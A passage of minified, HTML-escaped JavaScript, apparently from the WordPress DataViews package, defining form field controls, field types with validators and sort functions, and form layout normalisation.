K4=l(w(),1),J2e=10;function Wce(e){let{field:t}=e,{elements:o}=On({elements:t.elements,getElements:t.getElements});return o.length&gt;=J2e?(0,K4.jsx)(G2,{...e}):(0,K4.jsx)(Z2,{...e})}var Q2=l(A(),1);var $ce=l(A(),1),Kce=l(R(),1);var Yce=l(w(),1),{ValidatedInputControl:eRe}=St($ce.privateApis);function rl({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,type:i,prefix:s,suffix:a,validity:c}){let{label:u,placeholder:d,description:f,getValue:m,setValue:h,isValid:p}=t,g=m({item:e}),b=(0,Kce.useCallback)(v=&gt;o(h({item:e,value:v})),[e,h,o]);return(0,Yce.jsx)(eRe,{required:!!p.required,markWhenOptional:n,customValidity:pt(p,c),label:u,placeholder:d,value:g??&quot;&quot;,help:f,onChange:b,hideLabelFromVision:r,type:i,prefix:s,suffix:a,pattern:p.pattern?p.pattern.constraint:void 0,minLength:p.minLength?p.minLength.constraint:void 0,maxLength:p.maxLength?p.maxLength.constraint:void 0,__next40pxDefaultSize:!0})}var X2=l(w(),1);function qce({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){return(0,X2.jsx)(rl,{data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i,type:&quot;email&quot;,prefix:(0,X2.jsx)(Q2.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,X2.jsx)(Q2.Icon,{icon:gA})})})}var eR=l(A(),1);var J2=l(w(),1);function Zce({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){return(0,J2.jsx)(rl,{data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i,type:&quot;tel&quot;,prefix:(0,J2.jsx)(eR.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,J2.jsx)(eR.Icon,{icon:cv})})})}var oR=l(A(),1);var tR=l(w(),1);function Xce({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){return(0,tR.jsx)(rl,{data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i,type:&quot;url&quot;,prefix:(0,tR.jsx)(oR.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,tR.jsx)(oR.Icon,{icon:fn})})})}var Ic=l(A(),1),R_=l(R(),1),rR=l(N(),1);var tf=l(w(),1),{ValidatedNumberControl:tRe}=St(Ic.privateApis);function Qce(e){if(e===&quot;&quot;||e===void 0)return&quot;&quot;;let t=Number(e);return Number.isFinite(t)?t:&quot;&quot;}function oRe({value:e,onChange:t,hideLabelFromVision:o,step:r}){let[n=&quot;&quot;,i=&quot;&quot;]=e,s=(0,R_.useCallback)(c=&gt;t([Qce(c),i]),[t,i]),a=(0,R_.useCallback)(c=&gt;t([n,Qce(c)]),[t,n]);return(0,tf.jsx)(Ic.BaseControl,{help:(0,rR.__)(&quot;The max. value must be greater than the min. value.&quot;),children:(0,tf.jsxs)(Ic.Flex,{direction:&quot;row&quot;,gap:4,children:[(0,tf.jsx)(Ic.__experimentalNumberControl,{label:(0,rR.__)(&quot;Min.&quot;),value:n,max:i?Number(i)-r:void 0,onChange:s,__next40pxDefaultSize:!0,hideLabelFromVision:o,step:r}),(0,tf.jsx)(Ic.__experimentalNumberControl,{label:(0,rR.__)(&quot;Max.&quot;),value:i,min:n?Number(n)+r:void 0,onChange:a,__next40pxDefaultSize:!0,hideLabelFromVision:o,step:r})]})})}function nR({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,operator:i,validity:s}){let a=t.format?.decimals??0,c=Math.pow(10,Math.abs(a)*-1),{label:u,description:d,getValue:f,setValue:m,isValid:h}=t,p=f({item:e})??&quot;&quot;,g=(0,R_.useCallback)(v=&gt;{o(m({item:e,value:[&quot;&quot;,void 0].includes(v)?void 0:Number(v)}))},[e,o,m]),b=(0,R_.useCallback)(v=&gt;{o(m({item:e,value:v}))},[e,o,m]);if(i===tn){let v=[&quot;&quot;,&quot;&quot;];return Array.isArray(p)&amp;&amp;p.length===2&amp;&amp;p.every(k=&gt;typeof k==&quot;number&quot;||k===&quot;&quot;)&amp;&amp;(v=p),(0,tf.jsx)(oRe,{value:v,onChange:b,hideLabelFromVision:r,step:c})}return(0,tf.jsx)(tRe,{required:!!h.required,markWhenOptional:n,customValidity:pt(h,s),label:u,help:d,value:p,onChange:g,__next40pxDefaultSize:!0,hideLabelFromVision:r,step:c,min:h.min?h.min.constraint:void 0,max:h.max?h.max.constraint:void 0})}var Jce=l(w(),1);function eue(e){return(0,Jce.jsx)(nR,{...e})}var tue=l(w(),1);function oue(e){return(0,tue.jsx)(nR,{...e})}var iR=l(A(),1),rue=l(R(),1);var Y4=l(w(),1),{ValidatedRadioControl:rRe}=St(iR.privateApis);function nue({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{label:s,description:a,getValue:c,setValue:u,isValid:d}=t,{elements:f,isLoading:m}=On({elements:t.elements,getElements:t.getElements}),h=c({item:e}),p=(0,rue.useCallback)(g=&gt;o(u({item:e,value:g})),[e,o,u]);return m?(0,Y4.jsx)(iR.Spinner,{}):(0,Y4.jsx)(rRe,{required:!!t.isValid?.required,markWhenOptional:n,customValidity:pt(d,i),label:s,help:a,onChange:p,options:f,selected:h,hideLabelFromVision:r})}var q4=l(R(),1);var iue=l(w(),1);function sue({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,config:i,validity:s}){let{prefix:a,suffix:c}=i||{};return(0,iue.jsx)(rl,{data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:s,prefix:a?(0,q4.createElement)(a):void 0,suffix:c?(0,q4.createElement)(c):void 0})}var aue=l(A(),1),lue=l(R(),1);var cue=l(w(),1),{ValidatedToggleControl:nRe}=St(aue.privateApis);function uue({field:e,onChange:t,data:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{label:s,description:a,getValue:c,setValue:u,isValid:d}=e,f=(0,lue.useCallback)(()=&gt;{t(u({item:o,value:!c({item:o})}))},[t,u,o,c]);return(0,cue.jsx)(nRe,{required:!!d.required,markWhenOptional:n,customValidity:pt(d,i),hidden:r,label:s,help:a,checked:c({item:o}),onChange:f})}var due=l(A(),1),fue=l(R(),1);var mue=l(w(),1),{ValidatedTextareaControl:iRe}=St(due.privateApis);function pue({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,config:i,validity:s}){let{rows:a=4}=i||{},{label:c,placeholder:u,description:d,setValue:f,isValid:m}=t,h=t.getValue({item:e}),p=(0,fue.useCallback)(g=&gt;o(f({item:e,value:g})),[e,o,f]);return(0,mue.jsx)(iRe,{required:!!m.required,markWhenOptional:n,customValidity:pt(m,s),label:c,placeholder:u,value:h??&quot;&quot;,help:d,onChange:p,rows:a,minLength:m.minLength?m.minLength.constraint:void 0,maxLength:m.maxLength?m.maxLength.constraint:void 0,__next40pxDefaultSize:!0,hideLabelFromVision:r})}var bk=l(A(),1),hue=l(R(),1);var sR=l(w(),1),{ValidatedToggleGroupControl:sRe}=St(bk.privateApis);function gue({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{getValue:s,setValue:a,isValid:c}=t,u=s({item:e}),d=(0,hue.useCallback)(p=&gt;o(a({item:e,value:p})),[e,o,a]),{elements:f,isLoading:m}=On({elements:t.elements,getElements:t.getElements});if(m)return(0,sR.jsx)(bk.Spinner,{});if(f.length===0)return null;let h=f.find(p=&gt;p.value===u);return(0,sR.jsx)(sRe,{required:!!t.isValid?.required,markWhenOptional:n,customValidity:pt(c,i),__next40pxDefaultSize:!0,isBlock:!0,label:t.label,help:h?.description||t.description,onChange:d,value:u,hideLabelFromVision:r,children:f.map(p=&gt;(0,sR.jsx)(bk.__experimentalToggleGroupControlOption,{label:p.label,value:p.value},p.value))})}var aR=l(A(),1),lR=l(R(),1);var O_=l(w(),1),{ValidatedFormTokenField:aRe}=St(aR.privateApis);function bue({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{label:s,placeholder:a,getValue:c,setValue:u,isValid:d}=t,f=c({item:e}),{elements:m,isLoading:h}=On({elements:t.elements,getElements:t.getElements}),p=(0,lR.useMemo)(()=&gt;Array.isArray(f)?f.map(b=&gt;m?.find(k=&gt;k.value===b)||{value:b,label:b}):[],[f,m]),g=(0,lR.useCallback)(b=&gt;{let v=b.map(k=&gt;typeof k==&quot;object&quot;&amp;&amp;&quot;value&quot;in k?k.value:k);o(u({item:e,value:v}))},[o,u,e]);return h?(0,O_.jsx)(aR.Spinner,{}):(0,O_.jsx)(aRe,{required:!!d?.required,markWhenOptional:n,customValidity:pt(d,i),label:r?void 0:s,value:p,onChange:g,placeholder:a,suggestions:m?.map(b=&gt;b.value),__experimentalValidateInput:b=&gt;t.isValid?.elements&amp;&amp;m?m.some(v=&gt;v.value===b||v.label===b):!0,__experimentalExpandOnFocus:m&amp;&amp;m.length&gt;0,__experimentalShowHowTo:!t.isValid?.elements,displayTransform:b=&gt;typeof b==&quot;object&quot;&amp;&amp;&quot;label&quot;in b?b.label:typeof b==&quot;string&quot;&amp;&amp;m&amp;&amp;m.find(k=&gt;k.value===b)?.label||b,__experimentalRenderItem:({item:b})=&gt;{if(typeof b==&quot;string&quot;&amp;&amp;m){let v=m.find(k=&gt;k.value===b);return(0,O_.jsx)(&quot;span&quot;,{children:v?.label||b})}return(0,O_.jsx)(&quot;span&quot;,{children:b})}})}var An=l(A(),1),Z4=l(R(),1),kue=l(N(),1);var Pc=l(w(),1),{ValidatedInputControl:lRe}=St(An.privateApis),cRe=({color:e,onColorChange:t})=&gt;{let o=e&amp;&amp;Bt(e).isValid()?e:&quot;#ffffff&quot;;return(0,Pc.jsx)(An.Dropdown,{className:&quot;dataviews-controls__color-picker-dropdown&quot;,popoverProps:{resize:!1},renderToggle:({onToggle:r})=&gt;(0,Pc.jsx)(An.Button,{onClick:r,&quot;aria-label&quot;:(0,kue.__)(&quot;Open color picker&quot;),size:&quot;small&quot;,icon:()=&gt;(0,Pc.jsx)(An.ColorIndicator,{colorValue:o})}),renderContent:()=&gt;(0,Pc.jsx)(An.__experimentalDropdownContentWrapper,{paddingSize:&quot;none&quot;,children:(0,Pc.jsx)(An.ColorPicker,{color:o,onChange:t,enableAlpha:!0})})})};function vue({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{label:s,placeholder:a,description:c,setValue:u,isValid:d}=t,f=t.getValue({item:e})||&quot;&quot;,m=(0,Z4.useCallback)(p=&gt;{o(u({item:e,value:p}))},[e,o,u]),h=(0,Z4.useCallback)(p=&gt;{o(u({item:e,value:p||&quot;&quot;}))},[e,o,u]);return(0,Pc.jsx)(lRe,{required:!!t.isValid?.required,markWhenOptional:n,customValidity:pt(d,i),label:s,placeholder:a,value:f,help:c,onChange:h,hideLabelFromVision:r,type:&quot;text&quot;,prefix:(0,Pc.jsx)(An.__experimentalInputControlPrefixWrapper,{variant:&quot;control&quot;,children:(0,Pc.jsx)(cRe,{color:f,onColorChange:m})})})}var uR=l(A(),1),dR=l(R(),1),X4=l(N(),1);var cR=l(w(),1);function yue({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let[s,a]=(0,dR.useState)(!1),c=(0,dR.useCallback)(()=&gt;{a(u=&gt;!u)},[]);return(0,cR.jsx)(rl,{data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i,type:s?&quot;text&quot;:&quot;password&quot;,suffix:(0,cR.jsx)(uR.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,cR.jsx)(uR.Button,{icon:s?vs:Af,onClick:c,size:&quot;small&quot;,label:s?(0,X4.__)(&quot;Hide password&quot;):(0,X4.__)(&quot;Show password&quot;)})})})}function fR(e){return Array.isArray(e.elements)&amp;&amp;e.elements.length&gt;0||typeof e.getElements==&quot;function&quot;}var _ue=l(w(),1),Sue={adaptiveSelect:Wce,array:bue,checkbox:Vce,color:vue,combobox:G2,datetime:jce,date:Hce,email:qce,telephone:Zce,url:Xce,integer:eue,number:oue,password:yue,radio:nue,select:Z2,text:sue,toggle:uue,textarea:pue,toggleGroup:gue};function uRe(e){return e&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;typeof e.control==&quot;string&quot;}function dRe(e){let{control:t,...o}=e,r=mR(t);return r===null?null:function(i){return(0,_ue.jsx)(r,{...i,config:o})}}function xue(e,t){return typeof e.Edit==&quot;function&quot;?e.Edit:typeof e.Edit==&quot;string&quot;?mR(e.Edit):uRe(e.Edit)?dRe(e.Edit):fR(e)&amp;&amp;e.type!==&quot;array&quot;?mR(&quot;adaptiveSelect&quot;):t===null?null:mR(t)}function mR(e){return Object.keys(Sue).includes(e)?Sue[e]:null}function fRe(e,t,o){if(e.filterBy===!1)return!1;let r=e.filterBy?.operators?.filter(n=&gt;o.includes(n))??t;return r.length===0?!1:{isPrimary:!!e.filterBy?.isPrimary,operators:r}}var wue=fRe;var mRe=e=&gt;({item:t})=&gt;{let o=e.split(&quot;.&quot;),r=t;for(let n of o)r.hasOwnProperty(n)?r=r[n]:r=void 0;return r},Cue=mRe;var pRe=e=&gt;({value:t})=&gt;{let o=e.split(&quot;.&quot;),r={},n=r;for(let i of o.slice(0,-1))n[i]={},n=n[i];return n[o.at(-1)]=t,r},Bue=pRe;var Tue=l(N(),1);function pR({item:e,field:t}){let{elements:o,isLoading:r}=On({elements:t.elements,getElements:t.getElements}),n=t.getValue({item:e});return r||o.length===0?n:o?.find(i=&gt;i.value===n)?.label||t.getValue({item:e})}var Eue=l(w(),1);function co({item:e,field:t}){return t.hasElements?(0,Eue.jsx)(pR,{item:e,field:t}):t.getValueFormatted({item:e,field:t})}var nl=(e,t,o)=&gt;o===&quot;asc&quot;?e.localeCompare(t):t.localeCompare(e);function uo(e,t){let o=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(o)}function il(e,t){if(typeof t.isValid.minLength?.constraint!=&quot;number&quot;)return!1;let o=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(o)?!0:String(o).length&gt;=t.isValid.minLength.constraint}function sl(e,t){if(typeof t.isValid.maxLength?.constraint!=&quot;number&quot;)return!1;let o=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(o)?!0:String(o).length&lt;=t.isValid.maxLength.constraint}function al(e,t){if(t.isValid.pattern?.constraint===void 0)return!0;try{let o=new RegExp(t.isValid.pattern.constraint),r=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(r)?!0:o.test(String(r))}catch{return!1}}function _t(e,t){let r=(t.elements??[]).map(i=&gt;i.value);if(r.length===0)return!0;let n=t.getValue({item:e});return[].concat(n).every(i=&gt;r.includes(i))}function hRe({item:e,field:t}){return t.getValue({item:e})}var nn=hRe;var gRe=/^[a-zA-Z0-9.!#$%&amp;&#039;*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;function bRe(e,t){let o=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(o)&amp;&amp;!gRe.test(o)?(0,Tue.__)(&quot;Value must be a valid email address.&quot;):null}var Iue={type:&quot;email&quot;,render:co,Edit:&quot;email&quot;,sort:nl,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Ut,Ht],validOperators:[Jt,eo,Ja,el,tl,Ut,Ht,Ir,Pr],format:{},getValueFormatted:nn,validate:{required:uo,pattern:al,minLength:il,maxLength:sl,elements:_t,custom:bRe}};var Pue=l(N(),1);var kk=(e,t,o)=&gt;o===&quot;asc&quot;?e-t:t-e;function hR(e,t){if(typeof t.isValid.min?.constraint!=&quot;number&quot;)return!1;let o=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(o)?!0:Number(o)&gt;=t.isValid.min.constraint}function gR(e,t){if(typeof t.isValid.max?.constraint!=&quot;number&quot;)return!1;let o=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(o)?!0:Number(o)&lt;=t.isValid.max.constraint}var Rue={separatorThousand:&quot;,&quot;};function kRe({item:e,field:t}){let o=t.getValue({item:e});if(o==null)return&quot;&quot;;if(o=Number(o),!Number.isFinite(o))return String(o);let r;t.type!==&quot;integer&quot;?r=Rue:r=t.format;let{separatorThousand:n}=r,i=Math.trunc(o);return n?String(i).replace(/\B(?=(\d{3})+(?!\d))/g,n):String(i)}function vRe(e,t){let o=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(o)&amp;&amp;!Number.isInteger(o)?(0,Pue.__)(&quot;Value must be an integer.&quot;):null}var Oue={type:&quot;integer&quot;,render:co,Edit:&quot;integer&quot;,sort:kk,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Jt,eo,Hd,Gd,Wd,$d,tn],validOperators:[Jt,eo,Hd,Gd,Wd,$d,tn,Ut,Ht,Ir,Pr],format:Rue,getValueFormatted:kRe,validate:{required:uo,min:hR,max:gR,elements:_t,custom:vRe}};var Aue=l(N(),1);var Lue={separatorThousand:&quot;,&quot;,separatorDecimal:&quot;.&quot;,decimals:2};function yRe({item:e,field:t}){let o=t.getValue({item:e});if(o==null)return&quot;&quot;;if(o=Number(o),!Number.isFinite(o))return String(o);let r;t.type!==&quot;number&quot;?r=Lue:r=t.format;let{separatorThousand:n,separatorDecimal:i,decimals:s}=r,a=o.toFixed(s),[c,u]=a.split(&quot;.&quot;),d=n?c.replace(/\B(?=(\d{3})+(?!\d))/g,n):c;return s===0?d:d+i+u}function SRe(e){return e===&quot;&quot;||e===void 0||e===null}function _Re(e,t){let o=t.getValue({item:e});return!SRe(o)&amp;&amp;!Number.isFinite(o)?(0,Aue.__)(&quot;Value must be a number.&quot;):null}var Nue={type:&quot;number&quot;,render:co,Edit:&quot;number&quot;,sort:kk,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Jt,eo,Hd,Gd,Wd,$d,tn],validOperators:[Jt,eo,Hd,Gd,Wd,$d,tn,Ut,Ht,Ir,Pr],format:Lue,getValueFormatted:yRe,validate:{required:uo,min:hR,max:gR,elements:_t,custom:_Re}};var Mue={type:&quot;text&quot;,render:co,Edit:&quot;text&quot;,sort:nl,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Ut,Ht],validOperators:[Jt,eo,Ja,el,tl,Ut,Ht,Ir,Pr],format:{},getValueFormatted:nn,validate:{required:uo,pattern:al,minLength:il,maxLength:sl,elements:_t}};var gp=l(pc(),1);var Due={datetime:(0,gp.getSettings)().formats.datetime,weekStartsOn:(0,gp.getSettings)().l10n.startOfWeek};function xRe({item:e,field:t}){let o=t.getValue({item:e});if([&quot;&quot;,void 0,null].includes(o))return&quot;&quot;;let r;return t.type!==&quot;datetime&quot;?r=Due:r=t.format,(0,gp.dateI18n)(r.datetime,(0,gp.getDate)(o))}var wRe=(e,t,o)=&gt;{let r=new Date(e).getTime(),n=new Date(t).getTime();return o===&quot;asc&quot;?r-n:n-r},Vue={type:&quot;datetime&quot;,render:co,Edit:&quot;datetime&quot;,sort:wRe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Xd,Qd,Kd,Yd,qd,Zd,on,Rn],validOperators:[Xd,Qd,Kd,Yd,qd,Zd,on,Rn],format:Due,getValueFormatted:xRe,validate:{required:uo,elements:_t}};var bp=l(pc(),1);var Fue={date:(0,bp.getSettings)().formats.date,weekStartsOn:(0,bp.getSettings)().l10n.startOfWeek};function CRe({item:e,field:t}){let o=t.getValue({item:e});if([&quot;&quot;,void 0,null].includes(o))return&quot;&quot;;let r;return t.type!==&quot;date&quot;?r=Fue:r=t.format,(0,bp.dateI18n)(r.date,(0,bp.getDate)(o))}var BRe=(e,t,o)=&gt;{let r=new Date(e).getTime(),n=new Date(t).getTime();return o===&quot;asc&quot;?r-n:n-r},zue={type:&quot;date&quot;,render:co,Edit:&quot;date&quot;,sort:BRe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Xd,Qd,Kd,Yd,qd,Zd,on,Rn,tn],validOperators:[Xd,Qd,Kd,Yd,qd,Zd,on,Rn,tn],format:Fue,getValueFormatted:CRe,validate:{required:uo,elements:_t}};var bR=l(N(),1);function jue(e,t){return t.getValue({item:e})===!0}function ERe({item:e,field:t}){let o=t.getValue({item:e});return o===!0?(0,bR.__)(&quot;True&quot;):o===!1?(0,bR.__)(&quot;False&quot;):&quot;&quot;}function TRe(e,t){let o=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(o)&amp;&amp;![!0,!1].includes(o)?(0,bR.__)(&quot;Value must be true, false, or undefined&quot;):null}var IRe=(e,t,o)=&gt;{let r=!!e;return r===!!t?0:o===&quot;asc&quot;?r?1:-1:r?-1:1},Uue={type:&quot;boolean&quot;,render:co,Edit:&quot;checkbox&quot;,sort:IRe,validate:{required:jue,elements:_t,custom:TRe},enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Jt,eo],validOperators:[Jt,eo],format:{},getValueFormatted:ERe};var Hue={type:&quot;media&quot;,render:()=&gt;null,Edit:null,sort:()=&gt;0,enableSorting:!1,enableGlobalSearch:!1,defaultOperators:[],validOperators:[],format:{},getValueFormatted:nn,validate:{}};var Q4=l(N(),1);function Gue(e,t){let o=t.getValue({item:e});return Array.isArray(o)&amp;&amp;o.length&gt;0&amp;&amp;o.every(r=&gt;![void 0,&quot;&quot;,null].includes(r))}function Wue({item:e,field:t}){let o=t.getValue({item:e});return(Array.isArray(o)?o:[]).join(&quot;, &quot;)}function PRe({item:e,field:t}){return Wue({item:e,field:t})}function RRe(e,t){let o=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(o)&amp;&amp;!Array.isArray(o)?(0,Q4.__)(&quot;Value must be an array.&quot;):o.every(r=&gt;typeof r==&quot;string&quot;)?null:(0,Q4.__)(&quot;Every value must be a string.&quot;)}var ORe=(e,t,o)=&gt;{let r=Array.isArray(e)?e:[],n=Array.isArray(t)?t:[];if(r.length!==n.length)return o===&quot;asc&quot;?r.length-n.length:n.length-r.length;let i=r.join(&quot;,&quot;),s=n.join(&quot;,&quot;);return o===&quot;asc&quot;?i.localeCompare(s):s.localeCompare(i)},$ue={type:&quot;array&quot;,render:PRe,Edit:&quot;array&quot;,sort:ORe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Ut,Ht],validOperators:[Ut,Ht,Ir,Pr],format:{},getValueFormatted:Wue,validate:{required:Gue,elements:_t,custom:RRe}};function ARe({item:e,field:t}){return t.getValue({item:e})?&quot;\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022&quot;:&quot;&quot;}var Kue={type:&quot;password&quot;,render:co,Edit:&quot;password&quot;,sort:()=&gt;0,enableSorting:!1,enableGlobalSearch:!1,defaultOperators:[],validOperators:[],format:{},getValueFormatted:ARe,validate:{required:uo,pattern:al,minLength:il,maxLength:sl,elements:_t}};var Yue={type:&quot;telephone&quot;,render:co,Edit:&quot;telephone&quot;,sort:nl,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Ut,Ht],validOperators:[Jt,eo,Ja,el,tl,Ut,Ht,Ir,Pr],format:{},getValueFormatted:nn,validate:{required:uo,pattern:al,minLength:il,maxLength:sl,elements:_t}};var que=l(N(),1);var vk=l(w(),1);function LRe({item:e,field:t}){if(t.hasElements)return(0,vk.jsx)(pR,{item:e,field:t});let o=nn({item:e,field:t});return!o||!Bt(o).isValid()?o:(0,vk.jsxs)(&quot;div&quot;,{style:{display:&quot;flex&quot;,alignItems:&quot;center&quot;,gap:&quot;8px&quot;},children:[(0,vk.jsx)(&quot;div&quot;,{style:{width:&quot;16px&quot;,height:&quot;16px&quot;,borderRadius:&quot;50%&quot;,backgroundColor:o,border:&quot;1px solid #ddd&quot;,flexShrink:0}}),(0,vk.jsx)(&quot;span&quot;,{children:o})]})}function NRe(e,t){let o=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(o)&amp;&amp;!Bt(o).isValid()?(0,que.__)(&quot;Value must be a valid color.&quot;):null}var MRe=(e,t,o)=&gt;{let r=Bt(e),n=Bt(t);if(!r.isValid()&amp;&amp;!n.isValid())return 0;if(!r.isValid())return o===&quot;asc&quot;?1:-1;if(!n.isValid())return o===&quot;asc&quot;?-1:1;let i=r.toHsl(),s=n.toHsl();return i.h!==s.h?o===&quot;asc&quot;?i.h-s.h:s.h-i.h:i.s!==s.s?o===&quot;asc&quot;?i.s-s.s:s.s-i.s:o===&quot;asc&quot;?i.l-s.l:s.l-i.l},Zue={type:&quot;color&quot;,render:LRe,Edit:&quot;color&quot;,sort:MRe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Ut,Ht],validOperators:[Jt,eo,Ut,Ht],format:{},getValueFormatted:nn,validate:{required:uo,elements:_t,custom:NRe}};var Xue={type:&quot;url&quot;,render:co,Edit:&quot;url&quot;,sort:nl,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Ut,Ht],validOperators:[Jt,eo,Ja,el,tl,Ut,Ht,Ir,Pr],format:{},getValueFormatted:nn,validate:{required:uo,pattern:al,minLength:il,maxLength:sl,elements:_t}};var DRe=(e,t,o)=&gt;typeof e==&quot;number&quot;&amp;&amp;typeof t==&quot;number&quot;?kk(e,t,o):nl(e,t,o),Que={render:co,Edit:null,sort:DRe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[Jt,eo],validOperators:Lce(),format:{},getValueFormatted:nn,validate:{required:uo,elements:_t}};function Jue(e,t){let o;e.isValid?.required===!0&amp;&amp;t.validate.required!==void 0&amp;&amp;(o={constraint:!0,validate:t.validate.required});let r;(e.isValid?.elements===!0||e.isValid?.elements===void 0&amp;&amp;(e.elements||e.getElements))&amp;&amp;t.validate.elements!==void 0&amp;&amp;(r={constraint:!0,validate:t.validate.elements});let n;typeof e.isValid?.min==&quot;number&quot;&amp;&amp;t.validate.min!==void 0&amp;&amp;(n={constraint:e.isValid.min,validate:t.validate.min});let i;typeof e.isValid?.max==&quot;number&quot;&amp;&amp;t.validate.max!==void 0&amp;&amp;(i={constraint:e.isValid.max,validate:t.validate.max});let s;typeof e.isValid?.minLength==&quot;number&quot;&amp;&amp;t.validate.minLength!==void 0&amp;&amp;(s={constraint:e.isValid.minLength,validate:t.validate.minLength});let a;typeof e.isValid?.maxLength==&quot;number&quot;&amp;&amp;t.validate.maxLength!==void 0&amp;&amp;(a={constraint:e.isValid.maxLength,validate:t.validate.maxLength});let c;e.isValid?.pattern!==void 0&amp;&amp;t.validate.pattern!==void 0&amp;&amp;(c={constraint:e.isValid?.pattern,validate:t.validate.pattern});let u=e.isValid?.custom??t.validate.custom;return{required:o,elements:r,min:n,max:i,minLength:s,maxLength:a,pattern:c,custom:u}}function ede(e){return e.validOperators.reduce((t,o)=&gt;{let r=Ace(o);return r?.filter&amp;&amp;(t[o]=r.filter),t},{})}function VRe(e,t){return{...t.format,...e.format}}var tde=VRe;function FRe(e){let t=[Iue,Oue,Nue,Mue,Vue,zue,Uue,Hue,$ue,Kue,Yue,Zue,Xue].find(o=&gt;o?.type===e);return t||Que}function A_(e){return e.map(t=&gt;{let o=FRe(t.type),r=t.getValue||Cue(t.id),n=function(i,s,a){let c=r({item:i}),u=r({item:s});return t.sort?t.sort(c,u,a):o.sort(c,u,a)};return{id:t.id,label:t.label||t.id,header:t.header||t.label||t.id,description:t.description,placeholder:t.placeholder,getValue:r,setValue:t.setValue||Bue(t.id),elements:t.elements,getElements:t.getElements,hasElements:fR(t),isVisible:t.isVisible,enableHiding:t.enableHiding??!0,readOnly:t.readOnly??!1,type:o.type,render:t.render??o.render,Edit:xue(t,o.Edit),sort:n,enableSorting:t.enableSorting??o.enableSorting,enableGlobalSearch:t.enableGlobalSearch??o.enableGlobalSearch,isValid:Jue(t,o),filterBy:wue(t,o.defaultOperators,o.validOperators),filter:ede(o),format:tde(t,o),getValueFormatted:t.getValueFormatted??o.getValueFormatted}})}var sz=l(R(),1);var ode=l(R(),1),rde=l(w(),1),J4=(0,ode.createContext)({fields:[]});J4.displayName=&quot;DataFormContext&quot;;function nde({fields:e,children:t}){return(0,rde.jsx)(J4.Provider,{value:{fields:e},children:t})}var us=J4;var ER=l(R(),1);var vR=l(R(),1),L_=l(A(),1);var Ar={type:&quot;regular&quot;,labelPosition:&quot;top&quot;},zRe=e=&gt;typeof e==&quot;string&quot;?[{id:e,visibility:&quot;when-collapsed&quot;}]:e.map(t=&gt;typeof t==&quot;string&quot;?{id:t,visibility:&quot;when-collapsed&quot;}:{id:t.id,visibility:t.visibility});function ide(e){let t=Ar;if(e?.type===&quot;regular&quot;)t={type:&quot;regular&quot;,labelPosition:e?.labelPosition??&quot;top&quot;};else if(e?.type===&quot;panel&quot;){let o=e.summary??[],r=Array.isArray(o)?o:[o];t={type:&quot;panel&quot;,labelPosition:e?.labelPosition??&quot;side&quot;,openAs:e?.openAs??&quot;dropdown&quot;,summary:r,editVisibility:e?.editVisibility??&quot;on-hover&quot;}}else if(e?.type===&quot;card&quot;)if(e.withHeader===!1)t={type:&quot;card&quot;,withHeader:!1,isOpened:!0,summary:[],isCollapsible:!1};else{let o=e.summary??[];t={type:&quot;card&quot;,withHeader:!0,isOpened:typeof e.isOpened==&quot;boolean&quot;?e.isOpened:!0,summary:zRe(o),isCollapsible:e.isCollapsible===void 0?!0:e.isCollapsible}}else e?.type===&quot;row&quot;?t={type:&quot;row&quot;,alignment:e?.alignment??&quot;center&quot;,styles:e?.styles??{}}:e?.type===&quot;details&quot;&amp;&amp;(t={type:&quot;details&quot;,summary:e?.summary??&quot;&quot;});return t}function sde(e){let 